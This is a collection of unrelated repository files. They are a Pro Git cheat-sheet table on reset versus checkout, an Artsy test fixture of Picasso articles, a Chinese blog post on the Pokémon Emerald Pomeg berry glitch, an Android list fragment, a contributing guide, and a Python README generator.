Gonna Cheat</h2> <p>Hopefully now you understand and feel more comfortable with the <code>reset</code> command, but are probably still a little confused about how exactly it differs from <code>checkout</code> and could not possibly remember all the rules of the different invocations.</p> <p>So to help you out, I've created something that I pretty much hate, which is a table. However, if you've followed the article at all, it may be a useful cheat sheet or reminder. The table shows each class of the <code>reset</code> and <code>checkout</code> commands and which of the three trees it updates.</p> <p>Pay especial attention to the 'WD Safe?' column - if it's red, really think about it before you run that command.</p> <table class="rdata"> <tr> <th></th> <th>head</th> <th>index</th> <th>work dir</th> <th>wd safe</th> </tr> <tr class="level"> <th>Commit Level</th> <td colspan="4">&nbsp;</th> </tr> <tr class="even"> <th class="cmd">reset --soft [commit]</th> <td class="yes">REF</td> <td class="no">NO</td> <td class="no">NO</td> <td class="yes-wd">YES</td> </tr> <tr class="odd"> <th class="cmd">reset [commit]</th> <td class="yes">REF</td> <td class="yes">YES</td> <td class="no">NO</td> <td class="yes-wd">YES</td> </tr> <tr class="even"> <th class="cmd">reset --hard [commit]</th> <td class="yes">REF</td> <td class="yes">YES</td> <td class="yes">YES</td> <td class="no-wd">NO</td> </tr> <tr class="odd"> <th class="cmd">checkout [commit]</th> <td class="yes">HEAD</td> <td class="yes">YES</td> <td class="yes">YES</td> <td class="yes-wd">YES</td> </tr> <tr class="level"> <th>File Level</th> <td colspan="4">&nbsp;</th> </tr> <tr class="even"> <th class="cmd">reset (commit) [file]</th> <td class="no">NO</td> <td class="yes">YES</td> <td class="no">NO</td> <td class="yes-wd">YES</td> </tr> <tr class="odd"> <th class="cmd">checkout (commit) [file]</th> <td class="no">NO</td> <td class="yes">YES</td> <td class="yes">YES</td> <td class="no-wd">NO</td> </tr> </table> <p>Good night, and good luck.</p>
01walid/gitscm-next
app/views/blog/progit/2011-07-11-reset.html
HTML
mit
21,015
export const ArticlesFixture = { id: "pablo-picasso", articlesConnection: { pageInfo: { hasNextPage: true, endCursor: "YXJyYXljb25uZWN0aW9uOjk=" }, pageCursors: { around: [ { cursor: "YXJyYXljb25uZWN0aW9uOi0x", page: 1, isCurrent: true }, { cursor: "YXJyYXljb25uZWN0aW9uOjk=", page: 2, isCurrent: false }, { cursor: "YXJyYXljb25uZWN0aW9uOjE5", page: 3, isCurrent: false }, { cursor: "YXJyYXljb25uZWN0aW9uOjI5", page: 4, isCurrent: false }, ], first: null, last: null, previous: null, }, edges: [ { node: { href: "/article/artsy-editorial-us-china-trade-war-art-market", thumbnail_title: "What the U.S.–China Trade War Means for the Art Market", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjVhYmJmYzZlY2I0YzI3MTczNzcyOWE1YQ==", }, published_at: "Jul 23rd, 2018", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2F0wcjPCKn9wQg_DRvywHDsQ%252FGettyImages-997234250-1200.jpg", }, }, __id: "QXJ0aWNsZTo1YjU2Mjk0OTMyMjliNDAwMmU0NmZhMjQ=", }, }, { node: { href: "/article/artsy-editorial-picassos-muses-art-markets-darling", thumbnail_title: "Which of Picasso’s Muses Is the Art Market’s Darling?", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjVhYmJmYzZlY2I0YzI3MTczNzcyOWE1YQ==", }, published_at: "Jun 22nd, 2018", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FXsyUiT-8FinACaBkvMXGhA%252Fpicassomag.jpg", }, }, __id: "QXJ0aWNsZTo1YjJiYmNiZmQ3YTNiMDAwNDI5MGM0Mzc=", }, }, { node: { href: "/article/artsy-editorial-2018-picassos-billion-dollar-year", thumbnail_title: "Why 2018 Could Be Picasso’s Billion Dollar Year", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU4Yjk5NjM4YTA5YTY3MzJjZWUwNGFiMw==", }, published_at: "Apr 10th, 2018", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2F8VtjX1i3z4kT-Nbw_lBdbQ%252Fcustom-Custom_Size___Picasso%252C%2BLe%2BRepos%2B%25281932%2529%2B%25281%2529.jpg", }, }, __id: "QXJ0aWNsZTo1YWNiZDM3ZjVmMDFmMDAwMmU3YzM4Mzg=", }, }, { node: { href: "/article/artsy-editorial-1127-million-picasso-spending-spree-buoys-big-sales-christies-sothebys-london", thumbnail_title: "A £112.7 Million Picasso Spending Spree Buoys Big Sales at Christie’s and Sotheby’s in London", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Mar 1st, 2018", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FAXNlAM9edEcFLSh932x4GA%252FCMD_6770.jpg", }, }, __id: "QXJ0aWNsZTo1YTk3MzI1M2M1M2RkODAwMjk4ODY4MDY=", }, }, { node: { href: "/article/artsy-editorial-hidden-details-uncovered-beneath-surface-blue-period-picasso", thumbnail_title: "Hidden Details Uncovered beneath Surface of Blue Period Picasso", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Feb 20th, 2018", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FPCRy4AOwb6tU02iHJldQBQ%252Fxrf-set-up-with-people-la-misereuse-accroupie.jpg", }, }, __id: "QXJ0aWNsZTo1YThjNDcwMTkwZjVlZjAwMjlkZDc1YjA=", }, }, { node: { href: "/article/artsy-editorial-13-famous-artist-couples-massive-gender-pay-gaps", thumbnail_title: "13 Famous Artist Couples’ Massive Gender Pay Gaps", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Dec 29th, 2017", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FAHDPB6uTw16QzZ2FAyW-ag%252Fpicasso%2Bcouple.jpg", }, }, __id: "QXJ0aWNsZTo1YTNkNTY2MTA2NzMxMTAwMzMyYmI5OGQ=", }, }, { node: { href: "/article/artsy-editorial-asked-expert-interpret-famous-artists-handwriting", thumbnail_title: "We Asked an Expert to Interpret Famous Artists’ Handwriting", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Dec 21st, 2017", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FnHaY68AdX7Y-mmVoJzhk_w%252Fgeorgia%2Bhandwriting.jpg", }, }, __id: "QXJ0aWNsZTo1YTM5NzBhNzcyMDM1OTAwMWYzNjAwYjU=", }, }, { node: { href: "/article/artsy-editorial-emotional-turmoil-picassos-blue-period", thumbnail_title: "The Emotional Turmoil behind Picasso’s Blue Period", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Dec 13th, 2017", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FSCqsGjpeTT4wy-33OLKUkA%252Fpicasso%2Bblue%2Bthumb.jpg", }, }, __id: "QXJ0aWNsZTo1YTJlYjUyNmUyOWM3MzAwMWYxOTkxMTA=", }, }, { node: { href: "/article/artsy-editorial-picasso-invented-abstract-painting", thumbnail_title: "When Picasso Almost Invented Abstract Painting", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Oct 27th, 2017", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FjLgdIxwTR61feM3qCOQ7XQ%252Fpicasso%2Bthumb.jpg", }, }, __id: "QXJ0aWNsZTo1OWYwZDYzZDdkZTRiMDAwMWRjYmFkNDg=", }, }, { node: { href: "/article/artsy-editorial-jean-michel-basquiat-georgia-okeeffe-8-artists-style-icons", thumbnail_title: "From Jean-Michel Basquiat to Georgia O’Keeffe, 8 Artists Who Are Style Icons", author: { name: "Artsy Editorial", __id: "QXV0aG9yOjU5OGI1NDRkMmE4OTNhNTk1YzQxYzRkMQ==", }, published_at: "Oct 18th, 2017", thumbnail_image: { resized: { url: "https://d7hftxdivxxvm.cloudfront.net?resize_to=width&width=300&quality=80&src=https%3A%2F%2Fartsy-media-uploads.s3.amazonaws.com%2FjplLkTPL-P0BY4Zw6QF6WA%252Fstyle%2Bthumb.jpg", }, }, __id: "QXJ0aWNsZTo1OWU2M2Y5YTRhNzZlMzAwMWQyNTY1OTg=", }, }, ], }, __id: "QXJ0aXN0OnBhYmxvLXBpY2Fzc28=", }
xtina-starr/reaction
src/Apps/__tests__/Fixtures/Artist/Routes/ArticlesFixture.ts
TypeScript
mit
8,529
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Hatching Any Eggs by Pomeg Glitch • Bruce Steveon's Blog</title> <meta name="description" content="利用绿宝石红榴漏洞(Pomeg Berry Glitch)孵化编号386以内的任意PM "> <meta name="keywords" content=""> <!-- Twitter Cards --> <meta name="twitter:title" content="Hatching Any Eggs by Pomeg Glitch"> <meta name="twitter:description" content="利用绿宝石红榴漏洞(Pomeg Berry Glitch)孵化编号386以内的任意PM "> <meta name="twitter:card" content="summary"> <meta name="twitter:image" content="/images/"> <!-- Open Graph --> <meta property="og:locale" content="en"> <meta property="og:type" content="article"> <meta property="og:title" content="Hatching Any Eggs by Pomeg Glitch"> <meta property="og:description" content="利用绿宝石红榴漏洞(Pomeg Berry Glitch)孵化编号386以内的任意PM "> <meta property="og:url" content="/hatching-any-eggs-by-pomeg-glith/"> <meta property="og:site_name" content="Bruce Steveon's Blog"> <link rel="canonical" href="/hatching-any-eggs-by-pomeg-glith/"> <link href="/atom.xml" type="application/atom+xml" rel="alternate" title="Bruce Steveon's Blog Atom Feed"> <link href="/sitemap.xml" type="application/xml" rel="sitemap" title="Sitemap"> <meta name="HandheldFriendly" content="True"> <meta name="MobileOptimized" content="320"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cleartype" content="on"> <link rel="stylesheet" href="/css/main.css"> <!-- HTML5 Shiv and Media Query Support for IE --> <!--[if lt IE 9]> <script src="/js/vendor/html5shiv.min.js"></script> <script src="/js/vendor/respond.min.js"></script> <![endif]--> </head> <body id="js-body"> <!--[if lt IE 9]><div class="upgrade notice-warning"><strong>Your browser is quite old!</strong> Why not <a href="http://whatbrowser.org/">upgrade to a newer one</a> to better enjoy this site?</div><![endif]--> <header id="masthead"> <div class="inner-wrap"> <a href="/" class="site-title">Bruce Steveon's Blog</a> <nav role="navigation" class="menu top-menu"> <ul class="menu-item"> <li class="home"><a href="/">Bruce Steveon's Blog</a></li> <li><a href="" ></a></li> </ul> </nav> </div><!-- /.inner-wrap --> </header><!-- /.masthead --> <nav role="navigation" id="js-menu" class="sliding-menu-content"> <h5>Bruce Steveon's Blog <span>Table of Contents</span></h5> <ul class="menu-item"> <li> <a href=""> <div class="title"></div> </a> </li> </ul> </nav> <button type="button" id="js-menu-trigger" class="sliding-menu-button lines-button x2" role="button" aria-label="Toggle Navigation"> <span class="nav-lines"></span> </button> <div id="js-menu-screen" class="menu-screen"></div> <div id="page-wrapper"> <div id="main" role="main"> <article class="wrap" itemscope itemtype="http://schema.org/Article"> <div class="page-title"> <h1>Hatching Any Eggs by Pomeg Glitch</h1> </div> <div class="inner-wrap"> <div id="content" class="page-content" itemprop="articleBody"> <h1 id="pomeg-berry-glitch386pm">利用绿宝石红榴漏洞(Pomeg Berry Glitch)孵化编号386以内的任意PM</h1> <h2 id="section">什么是红榴漏洞?</h2> <p>让有一定HP努力值的PM的当前HP处于1点,再喂给该PM一个红榴果(作用:降低HP努力提升亲密度),会使得该PM的HP变成一个正常游戏中不可能出现的数字。</p> <blockquote> <p>举例来说,有一只100级的神奇宝贝有8点HP基础得点,HP是1/100。对它使用红榴后,它的HP基础得点会变为0,这时它的HP就会变成-1/98。但因为游戏在这里使用的数据存储方式是无符号整数存储,HP会变成一个很大的数字,在这例子里就是65535,然后会显示为?35。</p> </blockquote> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/glitch_zpsp6ehxhle.png" alt="pomeg" /></p> <hr /> <h2 id="pm">孵化出任意PM的原理</h2> <p>触发红榴漏洞之后,经过一系列操作,会打乱队伍中某个PM的数据组织顺序(Data Substructures)。继而可以让某些数据项成为新的决定PM种类的数据。</p> <p>第三世代PM的数据组织结构如下表:</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/new_zpsgftuasfy.png" alt="" /></p> <blockquote> <p>The order of the structures is determined by the personality value of the Pokémon modulo 24, as shown below, where G, A, E, and M stand for the substructures growth, attacks, EVs and condition, and miscellaneous, respectively.</p> </blockquote> <p> </p> <blockquote> <p>数据子结构的组织顺序取决于PM的PID对24取模的结果。下表中的G,A,E,M分别代表成长(Growth)、攻击(Attack)、努力值及状态(EVs &amp; Conditions)和杂项(Miscellnaneous)。</p> </blockquote> <p>数据组织顺序如下表:</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/order_zpsayigkyvu.png" alt="order" /></p> <hr /> <h2 id="deoxys">一个操作实例:获得一个从蛋中孵出的Deoxys</h2> <h3 id="section-1">事先的准备</h3> <ul> <li>一只级别足够高,有一些HP努力值的PM(这里以<a href="http://bulbapedia.bulbagarden.net/wiki/Swampert_(Pok%C3%A9mon)">#260 Swampert</a>为例),用以触发红榴漏洞。下面的叙述中<strong>简称A</strong>。</li> <li>两箱子<strong>完全相同</strong>的某PM,以一定间隔置于1、2号两个箱子(这里以<a href="http://bulbapedia.bulbagarden.net/wiki/Kadabra_(Pok%C3%A9mon)">#064 Kadabra</a>为例,具体间隔可以参考下面的例子),下述<strong>简称B</strong>。这样多数量的同一PM可以使用绿宝石战斗边疆的复制漏洞获得。至于对于这只PM有何具体要求,<strong>在下文中</strong>会详细说明。</li> </ul> <h3 id="section-2">步骤</h3> <p>1.将A置于队首,并控制它到1点HP。带上若干只处于濒死状态的PM,最后再带上一只B。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step1_zpszf4leukb.png" alt="step1" /></p> <p>2.喂给A一个红榴果(Pomeg Cherry),触发漏洞。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step2_a_zpsmlbsouox.png" alt="step2_a" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step2_b_zpsdfwhmtcb.png" alt="step2_b" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step2_c_zps2az8rwrk.png" alt="step2_c" /></p> <p>3.触发与野生PM的战斗,由A切换到B,然后逃跑。(为了顺利逃跑,建议在PM等级较低的地方进行本步骤)</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step3_a_zpskbgdif30.png" alt="step3_a" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step3_b_zps02kglcos.png" alt="step3_b" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step3_c_zpsvliyyb1n.png" alt="step3_c" /></p> <p>4.将B存回电脑的任意一个箱子。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step4_zps1vffikmc.png" alt="step4" /></p> <p>5.对A使用任意能够回复HP的道具,下图以高级伤药(Hyper Potion)为例</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step5_zpshyoyrpmh.png" alt="step5" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step5_a_zpskk2gdtk9.png" alt="step5_a" /></p> <p>6.再次去野外触发遇敌。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step6_a_zpsibprqd8r.png" alt="step6_a" /></p> <p>调出“Pokemon”菜单,查看A的状态 。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step6_b_zpsqpmz6zvt.png" alt="step6_b" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step6_c_zpsn1pdfonb.png" alt="step6_c" /></p> <p>按下方向键,直到光标正好指到“CANCEL”选项。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step6_d_zpssialri5v.png" alt="step6_d" /></p> <p><strong>按住</strong>上方向键,直到出现下图所示的情形。然后退出战斗。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step6_e_zpssw69axlv.png" alt="step6_e" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step6_f_zps91eu99a0.png" alt="step6_f" /></p> <p>7.如果足够幸运,你可以在1,2号箱子里的众多坏蛋(bag eggs)中找到一个好蛋(egg);如果不够幸运,请从步骤1重新来过。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step7_zps6h1jmpar.png" alt="step7" /></p> <p>8.将这个蛋孵化,得到目标。</p> <p><img src="http://i1292.photobucket.com/albums/b580/shankenew/step8_zpskanqgtqd.png" alt="step8" /> <img src="http://i1292.photobucket.com/albums/b580/shankenew/step8_a_zpsqhldsjid.png" alt="step8_a" /></p> <hr /> <h3 id="section-3">一些重要的补充说明</h3> <p>最终得到的蛋孵化出什么完全由B决定,所以下面详细解释B和孵化出的东西有何关联。</p> <p>这里的B,也就是勇吉拉(<a href="http://bulbapedia.bulbagarden.net/wiki/Kadabra_(Pok%C3%A9mon)">#064 Kadabra</a>),我选取了<a href="http://bulbapedia.bulbagarden.net/wiki/Personality_value">PID</a>为:0x56B0009。经过红榴漏洞,得到的目标的PID会在此基础上加上0x40000000。也就是0x456B0009。0x56B0009对24取模为1,0x456B0009对24取模为17。对应一开始的表格,也就是数据顺序由 <strong>GAME</strong> 变为 <strong>EMAG</strong> 。目标的 <strong>Growth</strong> 对应原来的 <strong>EVs &amp; Conditions</strong>。而 <strong>Growth</strong> 的前两个字节(byte)决定了PM的种类。也就是我们只需要让原来的 <strong>EVs &amp; Conditions</strong> 的前两个字节是我们目标PM的_编号_(要查询编号,请参看<a href="http://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_index_number_(Generation_III)">本链接</a>)。这里 <strong>#386 Deoxys</strong> 的编号16进制下为0x19A,分拆成两个byte就是 0x1 和 0x9A,在十进制下为 1 和 154,也就是我们只需要让勇吉拉(<a href="http://bulbapedia.bulbagarden.net/wiki/Kadabra_(Pok%C3%A9mon)">#064 Kadabra</a>)的物攻努力值为1,HP努力值为154,经过红榴漏洞之后,得到的蛋的PM种类对应的就是 #386 Deoxys。</p> <p>总结:以上改变蛋的物种效果,本质上就是利用游戏漏洞,打乱了原来的数据结构的排列顺序。至于以何种方式打乱,需要知道我们使用的称为“B”的PM的PID是多少,然后查上面提供的表格。一般来说,以努力值(E)代替物种(G)的方法比较普适,可以得到全部的386种PM。</p> <p>也有一些PID提供了以攻击技能(A)代替物种(G)的置乱方式。具体技能的编码表,我会在最后的参考链接里给出。由于技能数目不足386,这种方式不能获得全部386种PM,但相对上述的以(E)代替(G)的方式也有好处,就是有机会通过这种方式获得理想个体值的PM。上述的那个实例_几乎_无法对获得PM的个体值做任何的控制。</p> <p><strong>最后提醒一下</strong>:由于数据被全部打乱,获得的PM的技能会出现非法乱码,为了防止出现死机等不良情况,请把获得的PM放到饲养屋提升足够的等级,用合法技能全部替代后再领出。</p> <p>吐槽:我获得的这只Deoxys是不听话的,而听话与否由Miscellaneous的最后一个bit决定,然而本例中的置乱方式下,目标的(M)对应的是原来的(A),最后一个bit和第四个技能的PP数相关,为了使最后一个bit为1,我需要第四个技能的PP数在128以上。而游戏内PP数最大就是64,也就是我无论如何都不可能在游戏内通过这种方式获得一只听话的Deoxys,真是残念。</p> <p>通过这个漏洞获得的坏蛋可以参与与NPC的战斗,而且可以无限制逃跑,该成果可以应用到绿宝石速通上,然而好像红榴果获得的时机在流程中有些偏后了。</p> <p><del>利用pomeg glitch向游戏注入汇编代码还在研究中</del></p> <hr /> <h3 id="section-4">参考链接</h3> <p><a href="https://www.youtube.com/watch?v=nOEwPnv2TFM">视频教程</a>(Youtube链接)</p> <p><a href="https://www.youtube.com/watch?v=KME8eusvRAc">Video tutorial for Pomeg Berry Glitch</a>(关于红榴漏洞的视频)</p> <p>Bulbapedia相关页面:</p> <ul> <li><a href="http://bulbapedia.bulbagarden.net/wiki/Pok%C3%A9mon_data_substructures_in_Generation_III">Pokémon data substructures in Generation III</a></li> <li><a href="http://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_index_number_(Generation_III)">List of Pokémon by index number (Generation III)</a></li> <li><a href="http://bulbapedia.bulbagarden.net/wiki/List_of_moves">List of moves</a>(第三世代最后一个技能是 #354 Psycho Boost)</li> <li><a href="http://bulbapedia.bulbagarden.net/wiki/Glitzer_Popping">Glitzer Popping</a></li> </ul> <hr /> <footer class="page-footer"> <div class="author-image"> <img src="/images/bio-photo.jpg" alt="Bruce Steveon"> </div><!-- ./author-image --> <div class="author-content"> <h3 class="author-name" >Written by <span itemprop="author">Bruce Steveon</span></h3> <p class="author-bio"></p> </div><!-- ./author-content --> <div class="inline-btn"> <a class="btn-social twitter" href="https://twitter.com/intent/tweet?text=Hatching%20Any%20Eggs%20by%20Pomeg%20Glitch&amp;url=/hatching-any-eggs-by-pomeg-glith/&amp;via=" target="_blank"><i class="fa fa-twitter" aria-hidden="true"></i> Share on Twitter</a> <a class="btn-social facebook" href="https://www.facebook.com/sharer/sharer.php?u=/hatching-any-eggs-by-pomeg-glith/" target="_blank"><i class="fa fa-facebook" aria-hidden="true"></i> Share on Facebook</a> <a class="btn-social google-plus" href="https://plus.google.com/share?url=/hatching-any-eggs-by-pomeg-glith/" target="_blank"><i class="fa fa-google-plus" aria-hidden="true"></i> Share on Google+</a> </div><!-- /.share-this --> <div class="page-meta"> <p>Updated <time datetime="2016-05-16T20:19:51Z" itemprop="datePublished">May 16, 2016</time></p> </div><!-- /.page-meta --> </footer><!-- /.footer --> <aside> </aside> </div><!-- /.content --> </div><!-- /.inner-wrap --> </article><!-- ./wrap --> </div><!-- /#main --> <footer role="contentinfo" id="site-footer"> <nav role="navigation" class="menu bottom-menu"> <ul class="menu-item"> <li><a href="" ></a></li> </ul> </nav><!-- /.bottom-menu --> <p class="copyright">&#169; 2016 <a href="">Bruce Steveon's Blog</a> powered by <a href="http://jekyllrb.com" rel="nofollow">Jekyll</a> + <a href="http://mmistakes.github.io/skinny-bones-jekyll/" rel="nofollow">Skinny Bones</a>.</p> </footer> </div> <script src="/js/vendor/jquery-1.9.1.min.js"></script> <script src="/js/main.js"></script> <script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script> <script>MathJax.Hub.Config({ tex2jax: { skipTags: ['script', 'noscript', 'style', 'textarea', 'pre'] } }); <script>MathJax.Hub.Queue(function() { var all = MathJax.Hub.getAllJax(), i; for(i=0; i < all.length; i += 1) { all[i].SourceElement().parentNode.className += ' has-jax'; } }); <script>code.has-jax {font: inherit; font-size: 100%; background: inherit; border: inherit;} </body> </html>
bruce-lcf/bruce-lcf.github.io
_site/hatching-any-eggs-by-pomeg-glith/index.html
HTML
mit
15,825
package com.ruenzuo.weatherapp.fragments; import android.app.Activity; import android.app.ListFragment; import android.os.Bundle; import android.support.v4.widget.SwipeRefreshLayout; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ListView; import com.ruenzuo.weatherapp.R; import com.ruenzuo.weatherapp.adapters.CountriesAdapter; import com.ruenzuo.weatherapp.managers.WeatherAppManager; import com.ruenzuo.weatherapp.models.Country; import bolts.Continuation; import bolts.Task; /** * Created by ruenzuo on 07/05/14. */ public class CountriesListFragment extends ListFragment implements SwipeRefreshLayout.OnRefreshListener { private CountriesListFragmentListener listener; private SwipeRefreshLayout swipeContainer; public interface CountriesListFragmentListener { public void onCountrySelected(Country country); } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (activity instanceof CountriesListFragmentListener) { listener = (CountriesListFragmentListener)activity; } else { throw new ClassCastException(activity.toString() + " must implement CountriesListFragment.CountriesListFragmentListener"); } } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_countries, container, false); CountriesAdapter adapter = new CountriesAdapter(getActivity(), R.layout.row_country); setListAdapter(adapter); swipeContainer = (SwipeRefreshLayout) view.findViewById(R.id.swipe_container); swipeContainer.setOnRefreshListener(this); swipeContainer.setColorScheme(android.R.color.holo_blue_bright, android.R.color.holo_blue_dark, android.R.color.holo_blue_bright, android.R.color.holo_blue_dark); swipeContainer.setRefreshing(true); refresh(); return view; } @Override public void onRefresh() { refresh(); } @Override public void onListItemClick(ListView l, View v, int position, long id) { super.onListItemClick(l, v, position, id); CountriesAdapter countriesAdapter = (CountriesAdapter) getListAdapter(); listener.onCountrySelected(countriesAdapter.getItem(position)); } private void refresh() { final long startTime = System.currentTimeMillis(); WeatherAppManager.INSTANCE.getCountries().continueWith(new Continuation<Country[], Void>() { @Override public Void then(Task<Country[]> task) throws Exception { long stopTime = System.currentTimeMillis(); long elapsedTime = stopTime - startTime; Log.i("WeatherApp", String.valueOf(elapsedTime)); if (!task.isFaulted()) { Country[] countries = task.getResult(); WeatherAppManager.INSTANCE.startSyncService(countries); swipeContainer.setRefreshing(false); CountriesAdapter countriesAdapter = (CountriesAdapter) getListAdapter(); countriesAdapter.clear(); countriesAdapter.addAll(countries); countriesAdapter.notifyDataSetChanged(); } return null; } }, Task.UI_THREAD_EXECUTOR); } }
Ruenzuo/android-facade-example
WeatherApp/src/main/java/com/ruenzuo/weatherapp/fragments/CountriesListFragment.java
Java
mit
3,568
# :eight_spoked_asterisk: :stars: :sparkles: :dizzy: :star2: :star2: :sparkles: :dizzy: :star2: :star2: Contributing :star: :star2: :dizzy: :sparkles: :star: :star2: :dizzy: :sparkles: :stars: :eight_spoked_asterisk: So, you want to contribute to this project! That's awesome. However, before doing so, please read the following simple steps how to contribute. This will make the life easier and will avoid wasting time on things which are not requested. :sparkles: ## Discuss the changes before doing them - First of all, open an issue in the repository, using the [bug tracker][1], describing the contribution you would like to make, the bug you found or any other ideas you have. This will help us to get you started on the right foot. - If it makes sense, add the platform and software information (e.g. operating system, Node.JS version etc.), screenshots (so we can see what you are seeing). - It is recommended to wait for feedback before continuing to next steps. However, if the issue is clear (e.g. a typo) and the fix is simple, you can continue and fix it. ## Fixing issues - Fork the project in your account and create a branch with your fix: `some-great-feature` or `some-issue-fix`. - Commit your changes in that branch, writing the code following the [code style][2]. If the project contains tests (generally, the `test` directory), you are encouraged to add a test as well. :memo: - If the project contains a `package.json` or a `bower.json` file add yourself in the `contributors` array (or `authors` in the case of `bower.json`; if the array does not exist, create it): ```json { "contributors": [ "Your Name <and@email.address> (http://your.website)" ] } ``` ## Creating a pull request - Open a pull request, and reference the initial issue in the pull request message (e.g. *fixes #<your-issue-number>*). Write a good description and title, so everybody will know what is fixed/improved. - If it makes sense, add screenshots, gifs etc., so it is easier to see what is going on. ## Wait for feedback Before accepting your contributions, we will review them. You may get feedback about what should be fixed in your modified code. If so, just keep committing in your branch and the pull request will be updated automatically. ## Everyone is happy! Finally, your contributions will be merged, and everyone will be happy! :smile: Contributions are more than welcome! Thanks! :sweat_smile: [1]: https://github.com/huei90/made-in-taiwan/issues [2]: https://github.com/IonicaBizau/code-style
huei90/made-in-taiwan
CONTRIBUTING.md
Markdown
mit
2,610
from pathlib import Path class MarkdownParser(): def __init__(self, text): self.text = text self.lines = text.split('\n') def title(self): return self.lines[0].split(' ')[1] def header(self, name, level, include_header=False): start = False end = False content = [] mark = '#' * level for line in self.lines: if start and not end: end |= (f'{mark} ' in line[:(level + 1)]) and (not f'{mark} {name}' in line) if end: start = False else: content.append(line) else: start = (f'{mark} {name}' in line) if start: end = False if include_header: content.append(line) content = '\n'.join(content) return content def overview(self): overview = self.header('Overview', 2) overview = overview.split('\n') overview = '\n'.join(overview[1:]) # remove the first line return overview def features(self): return self.header('C++', 2, True) def combine(text, parsers): overview = '' features = '' title = '' for p in parsers: title += p.title().replace('C++', '') + '/' overview += p.overview() + '\n' features += p.features() + '\n' title = title[:-1] overview = overview.replace('README.md#', '#') features = features.replace('README.md#', '#') text = text.replace('# C++\n', f'# C++{title}\n') text = text.replace(f'<!-- overview -->', overview) text = text.replace(f'<!-- features -->', features) return text def main(): src_dir = Path(__file__).parent parsers = [] srcs = list(src_dir.glob('CPP*.md')) srcs.sort(reverse=True) for file in srcs: with open(file, 'r') as fp: text = fp.read() p = MarkdownParser(text) parsers.append(p) template_file = src_dir / 'readme-template.md' with open(template_file, 'r') as fp: text = fp.read() text = combine(text, parsers) readme_file = src_dir / 'README.md' with open(readme_file, 'w') as fp: fp.write(text) if __name__ == '__main__': main()
AnthonyCalandra/modern-cpp-features
auto-generate-readme.py
Python
mit
2,305
